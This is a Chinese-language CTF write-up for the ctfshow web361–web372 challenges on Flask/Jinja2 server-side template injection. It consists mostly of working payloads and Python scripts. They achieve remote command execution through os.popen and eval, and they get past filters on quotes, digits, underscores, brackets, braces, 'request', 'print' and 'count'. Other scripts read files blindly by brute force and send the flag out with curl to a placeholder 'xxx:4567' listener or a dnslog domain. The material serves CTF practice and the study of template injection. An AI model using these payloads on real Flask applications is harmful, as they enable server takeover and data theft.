ctfshow web入门 ssti web361~web372

目录

  • 前置知识
  • web361
  • web362
  • web363
  • web364
  • web365
  • web366
  • web367
  • web368
  • web369
  • web370
  • web371
  • web372

学习链接:

  • flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)
  • Python模板注入(SSTI)深入学习 - 先知社区 (aliyun.com)
  • SSTI/沙盒逃逸详细总结 - 安全客,安全资讯平台 (anquanke.com)
  • SSTI模板注入绕过(进阶篇)_yu22x的博客-CSDN博客_ssti绕过

做题参考:

  • ctf show-web入门 SSTI篇部分题解_z.volcano的博客-CSDN博客_ctfshow ssti
  • ctfshow SSTI web361-web372 wp_是Mumuzi的博客-CSDN博客
  • CTFshow-WEB入门-SSTI_bfengj的博客-CSDN博客_ctfshow web入门ssti
  • CTFSHOW SSTI篇_yu22x的博客-CSDN博客_ctfshow ssti

前置知识

__class__            返回该对象所属的类。py万物皆对象,比如某个字符串对象,而其所属的类为
__base__             以字符串形式返回一个类的父类
__bases__            以元组形式返回一个类的全部父类
__mro__              返回解析方法调用的顺序,即返回所有父类
__subclasses__()     返回这个类的所有子类
__init__             初始化类,返回的类型是function
__globals__          用于获取function所处空间下可使用的module、方法以及所有变量
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__str__()            返回描写这个对象的字符串,可以理解成是打印出来。
__getattribute__()   绕过关键字。实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        绕过[]。调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

__builtins__         内建名称空间,里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)

config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
current_app          应用上下文,一个全局变量。
g                    {{g}}得到

web361

没有过滤。

传入?name={{10*10}},回显100。

这里利用 os._wrap_close 类,写个脚本来找。

import requests
from tqdm import tqdm

for i in tqdm(range(233)):
    url = 'http://0778f666-ac38-4c4c-9eaf-651f8b2ee0d4.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

输出132

然后利用利用 .__init__.__globals__ 来找os类中的方法。init初始化,globals全局查找

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

其中能看到popen,于是利用其来执行命令

paylaod:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}
?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}

web362

过滤了数字

1、可以全角数字代替正常数字,下面是转换代码

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

得到全角数字:
'0','1','2','3','4','5','6','7','8','9'

payload:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

2、利用__builtins__

可以用以下已有的函数,去找到__builtins__,然后用eval就可以了:

?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

这里从羽师傅那里学习到了一种新的姿势得到__builtins__:

?name={{x.__init__.__globals__['__builtins__']}}
?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

{%%}

{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

web363

过滤了单双引号

1、这里payload用的是request,request.args.a的值由GET传参a的值得到,从而实现绕过。其实也就相当于命令执行里面的拼接。

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

2、也可以考虑字符串拼接,这里用config拿到os:

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}

也可以先把chr给找出来,然后用chr拼接拿到os就不需要引号了:

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

拿到os后,最终payload:

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]['popen']('tac /flag').read()}}
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]['popen']('tac /flag').read()%}

web364

过滤了 引号 和 args

1、可以用chr()函数绕过

首先fuzz一下chr()函数在哪:

payload:

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

发到brup的爆破模块。

接下来把这一串

{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}

放到前面

原始payload是

{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

接下来要用chr()进行替换,对照ascii表

'os'替换成:chr(111)%2bchr(115)		//%2b是+
'cat ../f*'替换成:chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)

再把替换后的payload放在后面,两段拼在一起得到最终姿势

?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

2、用request.values,但是发现post方法不被allow,所以改成cookie

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

Cookie:a=os;b=popen;c=cat /flag

web365

过滤了单双引号,还有中括号。request.cookies仍然可以用

单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过,拿点绕过,拿__getitem__等绕过都可以。

使用request绕过的话可以这样:

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}

Cookie:c=cat /flag

web366

过滤了下划线

根据前置知识我们知道lipsum.__globals__含有os模块

本来的payload:{{lipsum.__globals__['os'].popen('ls').read()}}

中括号 用.绕过。

但是__globals__这样的就构造不出来了,拿request绕过。

lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用flask自带的过滤器attr

""|attr("__class__")
相当于
"".__class__
所以
lipsum|attr(request.cookies.a)
相当于
lipsum.__globals__
这样就可以去拿到os

payload:

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

web367

过滤了os

那就把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。

?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}

web368

过滤了大括号{{}}

使用{%%}绕过,再借助print()回显

payload:

?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

web369

过滤了request

1、变量重命名,这里直接用羽师傅的payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

这里的原理是,给不同的变量赋值,然后拼接成我们想要的命令。

下面逐行分析

构造po="pop"    
#利用dict()|join拼接得到。
#dict() 函数用于创建一个字典;join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
{% set po=dict(po=a,p=a)|join%}

a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}

构造ini="__init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
即chr=q.__init__.__global__.__getitem__.__builtins__.chr

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

{%print(x.open(file).read())%}
打印q.__init__.__global__.__getitem__.__builtins__.open(file).read())

2、读文件盲注

import requests
import string
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t
url ='''http://a4023da9-bc70-4324-a88e-d1b4e6087bb6.challenge.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2='''

s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
	print(i)
	for j in s:
		x=flag+j
		u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}'
		#print(u)
		r=requests.get(u)
		if("1341" in r.text):			
			flag=x
			print(flag)
			break

3、反弹flag

电脑开启监听 nc -lvp 4567

http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}

cmd后面的值用脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t

web370

过滤了数字

1、全角数字绕过

把payload里的数字换成对应的全角数字:
'0','1','2','3','4','5','6','7','8','9'
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

2、构造数字,参考羽师傅的:

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

分析如下

几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接    构造coun=24
{% set coun=(cc~cccc)|int%}
同web369
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

3、暴力反弹

import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	k=''
	t=list(set(t))
	for i in t:
		k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
	return k
def fun2(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	t=list(set(t))
	k=''
	for i in range(len(s)):
		if i<len(s)-1:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
		else:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
	return k	
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

监听 nc -lvp 4567 等待反弹flag。

直接py发送我没成功,把输出的payload手动发送就行了。


web371

过滤了print

1、使用web370的反弹脚本。

2、dnslog外带

?name=
{%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}
{%set k=dict(eeeeeeeee=a)|join|count%}
{%set l=dict(eeeeeeee=a)|join|count%}
{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}
{%set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}
dnslogyyds
{%endif%}

使用 http://dnslog.cn/ 网站,点Get SubDomain直到生成不含数字的域名(因为过滤了数字哈。

然后更改上面的payload中

{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}

里的tpqdwr,改成网站生成的域名即可。


web372

过滤了count,可以用length替换

?name=
{%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}
{%set k=dict(eeeeeeeee=a)|join|length%}
{%set l=dict(eeeeeeee=a)|join|length%}
{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}
{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}
{%set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tpqdwr=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}
dnslogyyds
{%endif%}

你可能感兴趣的:(ctfshow,flask,python,web安全)